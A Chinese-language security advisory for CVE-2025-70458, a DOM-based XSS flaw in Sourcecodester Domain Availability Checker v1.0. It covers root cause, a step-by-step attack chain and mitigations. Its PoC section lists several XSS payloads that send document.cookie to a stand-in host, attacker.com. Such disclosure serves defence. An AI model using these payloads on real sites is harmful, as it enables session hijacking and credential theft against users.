IPBUF安全漏洞报告
English
CVE-2025-70458 CVSS 5.4 中危

CVE-2025-70458 Sourcecodester Domain Availability Checker DOM型XSS漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2025-70458
漏洞类型
DOM型跨站脚本攻击(DOM-based XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Sourcecodester Domain Availability Checker v1.0

相关标签

DOM-based XSS跨站脚本攻击CVE-2025-70458SourcecodesterDomain Availability CheckerJavaScript安全前端安全漏洞Web应用安全

漏洞概述

CVE-2025-70458是Sourcecodester Domain Availability Checker v1.0中的一个DOM型跨站脚本(XSS)漏洞。该漏洞存在于DomainCheckerApp类的domain/script.js文件中,由于createResultElement方法使用不安全的innerHTML属性来渲染域名搜索结果,导致攻击者可以通过构造恶意的域名输入来注入任意JavaScript代码。当其他用户访问包含恶意代码的页面时,其浏览器会执行注入的脚本,从而可能窃取用户的会话cookie、凭据或其他敏感信息。此漏洞无需认证即可利用,但需要用户交互(如点击链接或提交表单),攻击向量为网络,复杂度低。

技术细节

该漏洞的根本原因在于JavaScript代码中直接使用innerHTML将用户输入插入到DOM中。在DomainCheckerApp类的createResultElement方法中,应用程序接收用户输入的域名查询参数后,未对其进行适当的输入验证和输出编码就直接使用innerHTML属性渲染到页面。当攻击者输入包含JavaScript脚本标签的恶意域名如:<img src=x onerror=alert(document.cookie)>时,该恶意代码会被直接插入到DOM中并在受害者浏览器中执行。攻击者可以利用此漏洞窃取用户会话、进行钓鱼攻击或修改页面内容。由于这是DOM型XSS,恶意脚本不会经过服务器端过滤,而是完全在客户端由JavaScript动态插入。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标网站使用的Sourcecodester Domain Availability Checker v1.0,并定位到域名查询功能入口
STEP 2
步骤2:恶意载荷构造
攻击者构造包含XSS payload的恶意域名输入,如<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3:诱骗受害者
攻击者通过钓鱼邮件、社交工程或恶意链接诱使受害者访问包含恶意载荷的页面
STEP 4
步骤4:漏洞触发
受害者的浏览器加载页面,createResultElement方法使用innerHTML将恶意输入渲染到DOM中
STEP 5
步骤5:代码执行
浏览器的HTML解析器将恶意脚本标签识别为可执行代码并执行,攻击者获得受害者浏览器上下文控制权
STEP 6
步骤6:数据窃取
攻击者通过执行JavaScript窃取受害者的cookie、会话令牌或其他敏感信息,并发送到攻击者控制的服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-70458 DOM-based XSS PoC // Target: Sourcecodester Domain Availability Checker v1.0 // Attack Vector: Inject malicious JavaScript via domain search input // Malicious domain input that triggers XSS: const maliciousInput = '<img src=x onerror="fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)\">"'; // Alternative payloads: const payloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<svg onload="fetch(\"https://attacker.com/steal?c=\"+btoa(document.cookie))\">', '<iframe src="javascript:fetch(\'https://attacker.com/xss?c=\'+document.cookie)">', 'javascript:fetch("https://attacker.com/steal?c="+document.cookie)', '<body onload="fetch(\"https://attacker.com/steal?c=\"+document.cookie)\">' ]; // Attack scenario: // 1. Attacker crafts a URL with the malicious domain parameter // 2. Victim visits the page with the malicious parameter // 3. createResultElement() renders the input using innerHTML // 4. Malicious JavaScript executes in victim's browser context

影响范围

Sourcecodester Domain Availability Checker v1.0

防御指南

临时缓解措施
在修复前,可临时采取以下措施:将createResultElement方法中的innerHTML替换为textContent进行纯文本渲染;对用户输入进行白名单验证,只允许有效的域名字符;对所有输出到DOM的内容进行HTML实体编码(&、<、>、"、');同时部署Content-Security-Policy头限制脚本来源,防止恶意脚本执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表